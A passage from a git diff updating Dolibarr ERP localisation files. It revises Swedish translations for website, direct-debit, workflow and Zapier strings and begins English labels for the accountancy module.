      . ClonePage=Klona sida / behållare CloneSite=Klona webbplatsen SiteAdded=Webbplats tillagd @@ -137,7 +140,7 @@ PagesRegenerated=%s sida (er) / behållare / regenererade RegenerateWebsiteContent=Återskapa cachefiler på webbplatsen AllowedInFrames=Tillåtet i ramar DefineListOfAltLanguagesInWebsiteProperties=Definiera lista över alla tillgängliga språk i webbplatsegenskaper. -GenerateSitemaps=Skapa webbplatskarta för webbplats +GenerateSitemaps=Skapa webbplats sitemap.xml-fil ConfirmGenerateSitemaps=Om du bekräftar raderar du den befintliga webbplatskartfilen ... ConfirmSitemapsCreation=Bekräfta generering av webbplatskarta SitemapGenerated=Sitemap-fil %s genererad @@ -145,3 +148,10 @@ ImportFavicon=Favicon ErrorFaviconType=Favicon måste vara png ErrorFaviconSize=Favicon måste vara 16x16, 32x32 eller 64x64 FaviconTooltip=Ladda upp en bild som måste vara en png (16x16, 32x32 eller 64x64) +NextContainer=Nästa sida/behållare +PreviousContainer=Föregående sida/behållare +WebsiteMustBeDisabled=Webbplatsen måste ha statusen "%s" +WebpageMustBeDisabled=Webbsidan måste ha statusen "%s" +SetWebsiteOnlineBefore=När webbplatsen är offline är alla sidor offline. Ändra webbplatsens status först. +Booking=Bokning +Reservation=Reservation diff --git a/htdocs/langs/sv_SE/withdrawals.lang b/htdocs/langs/sv_SE/withdrawals.lang index ce1586583eb..d3371316e0d 100644 --- a/htdocs/langs/sv_SE/withdrawals.lang +++ b/htdocs/langs/sv_SE/withdrawals.lang @@ -31,8 +31,9 @@ SupplierInvoiceWaitingWithdraw=Leverantörsfaktura som väntar på betalning med InvoiceWaitingWithdraw=Faktura som väntar på direktdebitering InvoiceWaitingPaymentByBankTransfer=Fakturan väntar på kreditöverföring AmountToWithdraw=Belopp att dra tillbaka +AmountToTransfer=Antal att överföra NoInvoiceToWithdraw=Ingen faktura öppen för '%s' väntar. Gå till fliken '%s' på fakturakortet för att göra en begäran. -NoSupplierInvoiceToWithdraw=Ingen leverantörsfaktura med öppna 'Direkt kreditförfrågningar' väntar. Gå till fliken '%s' på fakturakortet för att göra en begäran. +NoSupplierInvoiceToWithdraw=Ingen leverantörsfaktura med öppen '%s' väntar. Gå till fliken '%s' på fakturakortet för att göra en förfrågan. ResponsibleUser=Användaransvarig WithdrawalsSetup=Inställning för direktbetalning CreditTransferSetup=Inställning av kreditöverföring @@ -41,6 +42,7 @@ CreditTransferStatistics=Statistik för kreditöverföring Rejects=Rejects LastWithdrawalReceipt=Senaste %s direktavköpsintäkterna MakeWithdrawRequest=Gör en förskottsbetalningsförfrågan +MakeWithdrawRequestStripe=Gör en förfrågan om autogirobetalning via Stripe MakeBankTransferOrder=Gör en kreditöverföringsbegäran WithdrawRequestsDone=%s begärda betalningsförfrågningar BankTransferRequestsDone=%s kreditöverföringsförfrågningar registrerade @@ -48,7 +50,7 @@ ThirdPartyBankCode=Tredjeparts bankkod NoInvoiceCouldBeWithdrawed=Ingen faktura debiteras framgångsrikt. Kontrollera att fakturor är på företag med en giltig IBAN och att IBAN har en UMR (Unique Mandate Reference) med läget %s . WithdrawalCantBeCreditedTwice=Detta uttagskvitto är redan markerat som krediterat. detta kan inte göras två gånger, eftersom detta potentiellt skulle kunna skapa dubbla betalningar och bankposter. ClassCredited=Märk krediterad -ClassDebited=Classify debited +ClassDebited=Markera debiterad ClassCreditedConfirm=Är du säker på att du vill märka detta tillbakadragande mottagande som krediteras på ditt bankkonto? TransData=Datum Transmission TransMetod=Metod Transmission @@ -82,7 +84,7 @@ StatusMotif7=Rättsligt beslut StatusMotif8=Annan orsak CreateForSepaFRST=Skapa direkt debitfil (SEPA FRST) CreateForSepaRCUR=Skapa direkt debitfil (SEPA RCUR) -CreateAll=Create direct debit file +CreateAll=Skapa autogirofil CreateFileForPaymentByBankTransfer=Skapa fil för kreditöverföring CreateSepaFileForPaymentByBankTransfer=Skapa kreditöverföringsfil (SEPA) CreateGuichet=Endast kontor @@ -99,8 +101,11 @@ CreditDate=Krediter på WithdrawalFileNotCapable=Det går inte att skapa uttags kvitto fil för ditt land %s (ditt land stöds inte) ShowWithdraw=Visa beställning av direktdebitering IfInvoiceNeedOnWithdrawPaymentWontBeClosed=Om fakturan har minst en betalningsorder för direktdebitering som ännu inte har behandlats kommer den inte att ställas in som betald för att möjliggöra tidigare uttagshantering. -DoStandingOrdersBeforePayments=På den här fliken kan du begära en betalningsorder för direktdebitering. När du är klar går du in i menyn Bank-> Betalning med autogiro för att generera och hantera autogiro. När direktdebiteringen stängs registreras fakturering automatiskt och fakturor stängs om återstående betalning är noll. -DoCreditTransferBeforePayments=På den här fliken kan du begära en kreditöverföringsorder. När du är klar går du till menyn Bank-> Betalning med kreditöverföring för att generera och hantera kreditöverföringsordern. När kreditöverföringsordern stängs registreras betalning på fakturor automatiskt och fakturor stängs om återstående betalning är noll. +DoStandingOrdersBeforePayments=Den här fliken låter dig begära en betalningsorder för autogiro. När du är klar kan du gå in i menyn "Bank->Betalning med autogiro" för att generera och hantera en autogiroorderfil. +DoStandingOrdersBeforePayments2=Du kan också skicka en förfrågan direkt till en SEPA-betalningsprocessor som Stripe, ... +DoStandingOrdersBeforePayments3=När autogiro är stängd, kommer betalning på fakturor att registreras automatiskt, och fakturor stängs om återstående betalning är noll. +DoCreditTransferBeforePayments=Den här fliken låter dig begära en kreditöverföringsorder. När du är klar, gå in i menyn "Bank->Betalning med kreditöverföring" för att skapa och hantera en beställningsfil för kreditöverföring. +DoCreditTransferBeforePayments3=När kreditöverföringsordern stängs, kommer betalning på fakturor att registreras automatiskt och fakturor stängs om återstående betalning är noll. WithdrawalFile=Debiteringsfil CreditTransferFile=Kreditöverföringsfil SetToStatusSent=Ställ in på status "File Skickat" @@ -117,7 +122,7 @@ WithdrawRequestErrorNilAmount=Det gick inte att skapa en direkt debitering för SepaMandate=SEPA-direkt debiteringsmandat SepaMandateShort=SEPA-mandat PleaseReturnMandate=Vänligen returnera detta mandatformulär via e-post till %s eller via mail till -SEPALegalText=By signing this mandate form, you authorize (A) %s to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with the instructions from %s. As part of your rights, you are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. Your rights regarding the above mandate are explained in a statement that you can obtain from your bank. +SEPALegalText=Genom att underteckna detta fullmaktsformulär godkänner du (A) %s och dess betaltjänstleverantör att skicka instruktioner till din bank om att debitera ditt konto och (B) din bank att debitera ditt konto i enlighet med instruktionerna från %s. Som en del av dina rättigheter har du rätt till återbetalning från din bank enligt villkoren i ditt avtal med din bank. Dina rättigheter gällande ovanstående fullmakt förklaras i ett uttalande som du kan få från din bank. CreditorIdentifier=Creditor Identifier CreditorName=Kreditgivarens namn SEPAFillForm=(B) Vänligen fyll i alla fält markerade * @@ -135,7 +140,8 @@ SEPARCUR=SEPA CUR SEPAFRST=SEPA FRST ExecutionDate=Exekveringsdatum CreateForSepa=Skapa direkt debitfil -ICS=Creditor Identifier - ICS +ICS=Borgenärsidentifierare - ICS +IDS=Debitoridentifierare END_TO_END="EndToEndId" SEPA XML-tagg - Unikt ID tilldelat per transaktion USTRD="Ostrukturerad" SEPA XML-tagg ADDDAYS=Lägg till dagar till Exekveringsdatum @@ -152,5 +158,6 @@ ModeWarning=Alternativ på riktigt läget inte var satt, sluta vi efter denna si ErrorCompanyHasDuplicateDefaultBAN=Företag med id %s har mer än ett standardbankkonto. Inget sätt att veta vilken man ska använda. ErrorICSmissing=Saknar ICS på bankkonto %s TotalAmountOfdirectDebitOrderDiffersFromSumOfLines=Det totala beloppet för direktdebitering skiljer sig från summan av rader -WarningSomeDirectDebitOrdersAlreadyExists=Warning: There is already some pending Direct Debit orders (%s) requested for an amount of %s -WarningSomeCreditTransferAlreadyExists=Warning: There is already some pending Credit Transfer (%s) requested for an amount of %s +WarningSomeDirectDebitOrdersAlreadyExists=Varning: Det finns redan några pågående direktdebiteringsorder (%s) begärda för ett belopp på %s +WarningSomeCreditTransferAlreadyExists=Varning: Det finns redan några pågående kreditöverföringar (%s) begärda för ett belopp på %s +UsedFor=Används för %s diff --git a/htdocs/langs/sv_SE/workflow.lang b/htdocs/langs/sv_SE/workflow.lang index 92bae74c475..0311dba3df8 100644 --- a/htdocs/langs/sv_SE/workflow.lang +++ b/htdocs/langs/sv_SE/workflow.lang @@ -1,26 +1,36 @@ # Dolibarr language file - Source file is en_US - workflow -WorkflowSetup=Arbetsflöde modul konfiguration +WorkflowSetup=Inställning av arbetsflödesmodul WorkflowDesc=Denna modul ger några automatiska åtgärder. Som standard är arbetsflödet öppet (du kan göra saker i den ordning du vill) men här kan du aktivera några automatiska åtgärder. ThereIsNoWorkflowToModify=Det finns inga arbetsflödesändringar tillgängliga med de aktiverade modulerna. # Autocreate -descWORKFLOW_PROPAL_AUTOCREATE_ORDER=Skapa automatiskt en försäljningsorder när ett kommersiellt förslag är undertecknat (den nya ordern kommer att ha samma belopp som förslaget) -descWORKFLOW_PROPAL_AUTOCREATE_INVOICE=Skapa automatiskt en kundfaktura efter att ett kommersiellt förslag har skrivits (den nya fakturan kommer att ha samma belopp som förslaget) +descWORKFLOW_PROPAL_AUTOCREATE_ORDER=Skapa automatiskt en försäljningsorder när en offert är undertecknad (den nya ordern kommer att ha samma belopp som offerten) +descWORKFLOW_PROPAL_AUTOCREATE_INVOICE=Skapa automatiskt en kundfaktura efter att en offert har undertecknats (den nya fakturan kommer att ha samma belopp som offerten) descWORKFLOW_CONTRACT_AUTOCREATE_INVOICE=Skapa automatiskt en kundfaktura efter att ett kontrakt är bekräftat -descWORKFLOW_ORDER_AUTOCREATE_INVOICE=Skapa en kundfaktura automatiskt efter att en order har stängts (den nya fakturan kommer att ha samma belopp som beställningen) +descWORKFLOW_ORDER_AUTOCREATE_INVOICE=Skapa en kundfaktura automatiskt efter att en order har stängts (den nya fakturan kommer att ha samma belopp som ordern) +descWORKFLOW_TICKET_CREATE_INTERVENTION=Skapa automatiskt en intervention när du skapar ett ärende. # Autoclassify customer proposal or order -descWORKFLOW_ORDER_CLASSIFY_BILLED_PROPAL=Märk det länkade källoffert som fakturerad när försäljningsordern är märkt fakturerad (och om orderens storlek är densamma som det totala beloppet för det signerade länkade förslaget) -descWORKFLOW_INVOICE_CLASSIFY_BILLED_PROPAL=Märk länkad källans förslag som fakturerad när kundfakturan är bekräftat (och om fakturans belopp är samma som det totala beloppet för det signerade länkade förslaget) -descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_ORDER=Märk länkad källsäljorder som fakturerad när kundfaktura är bekräftat (och om fakturans storlek är densamma som totalbeloppet för den länkade ordern) -descWORKFLOW_INVOICE_CLASSIFY_BILLED_ORDER=Märk länkad källsäljorder som fakturerad när kundfaktura är inställd att betala (och om fakturans storlek är densamma som totalbeloppet för den länkade ordern) -descWORKFLOW_ORDER_CLASSIFY_SHIPPED_SHIPPING=Märk länkad källsäljningsorder som skickas när en försändelse är bekräftat (och om den mängd som skickas av alla leveranser är densamma som i den ordning som ska uppdateras) -descWORKFLOW_ORDER_CLASSIFY_SHIPPED_SHIPPING_CLOSED=Classify linked source sales order as shipped when a shipment is closed (and if the quantity shipped by all shipments is the same as in the order to update) +descWORKFLOW_ORDER_CLASSIFY_BILLED_PROPAL=Märk den länkade källofferten som fakturerad när försäljningsordern är märkt fakturerad (och om orderens storlek är densamma som det totala beloppet för den signerade länkade offerten) +descWORKFLOW_INVOICE_CLASSIFY_BILLED_PROPAL=Märk den länkade källofferten som fakturerad när kundfakturan är bekräftad (och om fakturans belopp är samma som det totala beloppet för den signerade länkade offerten) +descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_ORDER=Märk länkad källorder som fakturerad när kundfaktura är bekräftad (och om fakturans storlek är densamma som totalbeloppet för den länkade ordern) +descWORKFLOW_INVOICE_CLASSIFY_BILLED_ORDER=Märk länkad källorder som fakturerad när kundfaktura är inställd på att betalas (och om fakturans storlek är densamma som totalbeloppet för den länkade ordern) +descWORKFLOW_ORDER_CLASSIFY_SHIPPED_SHIPPING=Märk länkad källorder som skickad när en försändelse är bekräftad (och om den mängd som skickas i alla leveranser är densamma som i ordern som ska uppdateras) +descWORKFLOW_ORDER_CLASSIFY_SHIPPED_SHIPPING_CLOSED=Märk länkad källorder som levererad när en försändelse stängs (och om antalet som skickas i alla försändelser är densamma som i ordern som ska uppdateras) +# Autoclassify purchase proposal +descWORKFLOW_ORDER_CLASSIFY_BILLED_SUPPLIER_PROPOSAL=Märk länkad käll-leverantörsoffert som fakturerad när leverantörsfaktura är bekräftad (och om fakturans storlek är densamma som det totala beloppet för den länkade offerten) # Autoclassify purchase order -descWORKFLOW_ORDER_CLASSIFY_BILLED_SUPPLIER_PROPOSAL=Märk länkad källleverantörsförslag som fakturerat när leverantörsfaktura är bekräftat (och om fakturans storlek är densamma som det totala beloppet för det länkade förslaget) -descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_SUPPLIER_ORDER=Märk kopplad inköpsorder som fakturerad när leverantörsfaktura är bekräftat (och om fakturans storlek är densamma som totalbeloppet för den länkade ordern) -descWORKFLOW_BILL_ON_RECEPTION=Klassificera mottagningar till "fakturerade" när en länkad leverantörsorder är validerad +descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_SUPPLIER_ORDER=Märk länkad inköpsorder som fakturerad när leverantörsfaktura är bekräftad (och om fakturans storlek är densamma som totalbeloppet för den länkade ordern) +descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION=Märk länkad inköpsorder som mottagen när en mottagning bekräftas (och om antalet som tas emot i alla mottagningar är densamma som i inköpsordern som ska uppdateras) +descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION_CLOSED=Märk länkad inköpsorder som mottagen när en mottagning stängs (och om antalet som tas emot i alla mottagningar är densamma som i inköpsordern som ska uppdateras) +# Autoclassify purchase invoice +descWORKFLOW_EXPEDITION_CLASSIFY_CLOSED_INVOICE=Märk mottagningar som "fakturerade" när en länkad inköpsfaktura bekräftas (och om fakturabeloppet är detsamma som det totala beloppet för de länkade mottagningarna) +# Automatically link ticket to contract +descWORKFLOW_TICKET_LINK_CONTRACT=När du skapar ett ärende, länka tillgängliga kontrakt från matchande tredjepart +descWORKFLOW_TICKET_USE_PARENT_COMPANY_CONTRACTS=När du kopplar kontrakt sök bland moderbolagens # Autoclose intervention -descWORKFLOW_TICKET_CLOSE_INTERVENTION=Stäng alla ingripanden kopplade till biljetten när en biljett är stängd -AutomaticCreation=Automatisk skapande -AutomaticClassification=Automatisk uppmärkning +descWORKFLOW_TICKET_CLOSE_INTERVENTION=Stäng alla intervention kopplade till ärendet när ärendet stängs +AutomaticCreation=Automatiskt skapande +AutomaticClassification=Automatisk märkning # Autoclassify shipment -descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Klassificera länkad källtransport som stängd när kundfakturan valideras +descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Märk länkad källförsändelse som stängd när kundfakturan bekräftas (och om fakturabeloppet är detsamma som det totala beloppet för de länkade försändelserna) +AutomaticClosing=Automatisk stängning +AutomaticLinking=Automatisk länkning diff --git a/htdocs/langs/sv_SE/zapier.lang b/htdocs/langs/sv_SE/zapier.lang index b85cdb8bd32..1d3430da10b 100644 --- a/htdocs/langs/sv_SE/zapier.lang +++ b/htdocs/langs/sv_SE/zapier.lang @@ -14,8 +14,8 @@ # along with this program. If not, see . ModuleZapierForDolibarrName = Zapier för Dolibarr -ModuleZapierForDolibarrDesc = Zapier för Dolibarr-modul +ModuleZapierForDolibarrDesc = Zapier för Dolibarrmodul ZapierForDolibarrSetup=Installation av Zapier för Dolibarr -ZapierDescription=Gränssnitt med Zapier +ZapierDescription=Länka med Zapier ZapierAbout=Om modulen Zapier -ZapierSetupPage=Det finns inget behov av en installation på Dolibarr-sidan för att använda Zapier. Du måste dock skapa och publicera ett paket på zapier för att kunna använda Zapier med Dolibarr. Se dokumentation på denna wiki-sida . +ZapierSetupPage=Det finns inget behov av en installation på Dolibarr-sidan för att använda Zapier. Du måste dock skapa och publicera ett paket på Zapier för att kunna använda Zapier med Dolibarr. Se dokumentation på denna wiki-sida . diff --git a/htdocs/langs/sw_SW/accountancy.lang b/htdocs/langs/sw_SW/accountancy.lang index 8bc4b54a090..7158d53896a 100644 --- a/htdocs/langs/sw_SW/accountancy.lang +++ b/htdocs/langs/sw_SW/accountancy.lang @@ -48,8 +48,9 @@ CountriesNotInEEC=Countries not in EEC CountriesInEECExceptMe=Countries in EEC except %s CountriesExceptMe=All countries except %s AccountantFiles=Export source documents -ExportAccountingSourceDocHelp=With this tool, you can export the source events (list in CSV and PDFs) that are used to generate your accountancy. +ExportAccountingSourceDocHelp=With this tool, you can search and export the source events that are used to generate your accountancy.
      The exported ZIP file will contain the lists of requested items in CSV, as well as their attached files in their original format (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=To export your journals, use the menu entry %s - %s. +ExportAccountingProjectHelp=Specify a project if you need an accounting report only for a specific project. Expense reports and loan payments are not included in project reports. VueByAccountAccounting=View by accounting account VueBySubAccountAccounting=View by accounting subaccount @@ -58,28 +59,29 @@ MainAccountForSuppliersNotDefined=Main accounting account for vendors not define MainAccountForUsersNotDefined=Main accounting account for users not defined in setup MainAccountForVatPaymentNotDefined=Main accounting account for VAT payment not defined in setup MainAccountForSubscriptionPaymentNotDefined=Main accounting account for subscription payment not defined in setup +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=Accounting area AccountancyAreaDescIntro=Usage of the accountancy module is done in several step: AccountancyAreaDescActionOnce=The following actions are usually executed one time only, or once per year... -AccountancyAreaDescActionOnceBis=Next steps should be done to save you time in future by suggesting you the correct default accounting account when making the journalization (writing record in Journals and General ledger) +AccountancyAreaDescActionOnceBis=Next steps should be done to save you time in future by suggesting you automaticaly the correct default accounting account when transferring data in accounting AccountancyAreaDescActionFreq=The following actions are usually executed every month, week or day for very large companies... -AccountancyAreaDescJournalSetup=STEP %s: Create or check content of your journal list from menu %s +AccountancyAreaDescJournalSetup=STEP %s: Check content of your journal list from menu %s AccountancyAreaDescChartModel=STEP %s: Check that a model of chart of account exists or create one from menu %s AccountancyAreaDescChart=STEP %s: Select and|or complete your chart of account from menu %s AccountancyAreaDescVat=STEP %s: Define accounting accounts for each VAT Rates. For this, use the menu entry %s. AccountancyAreaDescDefault=STEP %s: Define default accounting accounts. For this, use the menu entry %s. -AccountancyAreaDescExpenseReport=STEP %s: Define default accounting accounts for each type of expense report. For this, use the menu entry %s. +AccountancyAreaDescExpenseReport=STEP %s: Define default accounting accounts for each type of Expense report. For this, use the menu entry %s. AccountancyAreaDescSal=STEP %s: Define default accounting accounts for payment of salaries. For this, use the menu entry %s. -AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for special expenses (miscellaneous taxes). For this, use the menu entry %s. +AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for Taxes (special expenses). For this, use the menu entry %s. AccountancyAreaDescDonation=STEP %s: Define default accounting accounts for donation. For this, use the menu entry %s. AccountancyAreaDescSubscription=STEP %s: Define default accounting accounts for member subscription. For this, use the menu entry %s. AccountancyAreaDescMisc=STEP %s: Define mandatory default account and default accounting accounts for miscellaneous transactions. For this, use the menu entry %s. AccountancyAreaDescLoan=STEP %s: Define default accounting accounts for loans. For this, use the menu entry %s. AccountancyAreaDescBank=STEP %s: Define accounting accounts and journal code for each bank and financial accounts. For this, use the menu entry %s. -AccountancyAreaDescProd=STEP %s: Define accounting accounts on your products/services. For this, use the menu entry %s. +AccountancyAreaDescProd=STEP %s: Define accounting accounts on your Products/Services. For this, use the menu entry %s. AccountancyAreaDescBind=STEP %s: Check the binding between existing %s lines and accounting account is done, so application will be able to journalize transactions in Ledger in one click. Complete missing bindings. For this, use the menu entry %s. AccountancyAreaDescWriteRecords=STEP %s: Write transactions into the Ledger. For this, go into menu %s, and click into button %s. @@ -112,7 +114,7 @@ MenuAccountancyClosure=Closure MenuAccountancyValidationMovements=Validate movements ProductsBinding=Products accounts TransferInAccounting=Transfer in accounting -RegistrationInAccounting=Registration in accounting +RegistrationInAccounting=Recording in accounting Binding=Binding to accounts CustomersVentilation=Customer invoice binding SuppliersVentilation=Vendor invoice binding @@ -120,7 +122,7 @@ ExpenseReportsVentilation=Expense report binding CreateMvts=Create new transaction UpdateMvts=Modification of a transaction ValidTransaction=Validate transaction -WriteBookKeeping=Register transactions in accounting +WriteBookKeeping=Record transactions in accounting Bookkeeping=Ledger BookkeepingSubAccount=Subledger AccountBalance=Account balance @@ -161,41 +163,46 @@ BANK_DISABLE_DIRECT_INPUT=Disable direct recording of transaction in bank accoun ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Enable draft export on journal ACCOUNTANCY_COMBO_FOR_AUX=Enable combo list for subsidiary account (may be slow if you have a lot of third parties, break ability to search on a part of value) ACCOUNTING_DATE_START_BINDING=Define a date to start binding & transfer in accountancy. Below this date, the transactions will not be transferred to accounting. -ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, select period show by default +ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=Sell journal -ACCOUNTING_PURCHASE_JOURNAL=Purchase journal -ACCOUNTING_MISCELLANEOUS_JOURNAL=Miscellaneous journal +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=Expense report journal -ACCOUNTING_SOCIAL_JOURNAL=Social journal +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=Has new Journal +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=Social journal ACCOUNTING_RESULT_PROFIT=Result accounting account (Profit) ACCOUNTING_RESULT_LOSS=Result accounting account (Loss) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Journal of closure -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Accounting account of transitional bank transfer +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=Transitional bank transfer account -ACCOUNTING_ACCOUNT_SUSPENSE=Accounting account of wait -DONATION_ACCOUNTINGACCOUNT=Accounting account to register donations -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Accounting account to register subscriptions +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Accounting account by default to register customer deposit +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit +UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Accounting account by default for the bought products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Accounting account by default for the bought products in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought products and imported out of EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Accounting account by default for the sold products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Accounting account by default for the products sold in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Accounting account by default for the products sold and exported out of EEC (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Accounting account by default for the bought services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Accounting account by default for the bought services in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought services and imported out of EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Accounting account by default for the sold services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Accounting account by default for the services sold in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Accounting account by default for the services sold and exported out of EEC (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=Type of document Docdate=Date @@ -210,7 +217,7 @@ Codejournal=Journal JournalLabel=Journal label NumPiece=Piece number TransactionNumShort=Num. transaction -AccountingCategory=Custom group +AccountingCategory=Custom group of accounts GroupByAccountAccounting=Group by general ledger account GroupBySubAccountAccounting=Group by subledger account AccountingAccountGroupsDesc=You can define here some groups of accounting account. They will be used for personalized accounting reports. @@ -219,12 +226,12 @@ ByPredefinedAccountGroups=By predefined groups ByPersonalizedAccountGroups=By personalized groups ByYear=By year NotMatch=Not Set -DeleteMvt=Delete some operation lines from accounting +DeleteMvt=Delete some lines from accounting DelMonth=Month to delete DelYear=Year to delete DelJournal=Journal to delete -ConfirmDeleteMvt=This will delete all operation lines of the accounting for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. -ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all operation lines related to the same transaction will be deleted) +ConfirmDeleteMvt=This will delete all lines in accountancy for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. +ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) FinanceJournal=Finance journal ExpenseReportsJournal=Expense reports journal DescFinanceJournal=Finance journal including all the types of payments by bank account @@ -264,13 +271,13 @@ Reconcilable=Reconcilable TotalVente=Total turnover before tax TotalMarge=Total sales margin -DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product accounting account -DescVentilMore=In most cases, if you use predefined products or services and you set the account number on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". -DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product accounting account -DescVentilTodoCustomer=Bind invoice lines not already bound with a product accounting account -ChangeAccount=Change the product/service accounting account for selected lines with the following accounting account: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product accounting account (only record not already transfered in accountancy are visible) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=Consult here the list of the lines of vendor invoices and their accounting account DescVentilTodoExpenseReport=Bind expense 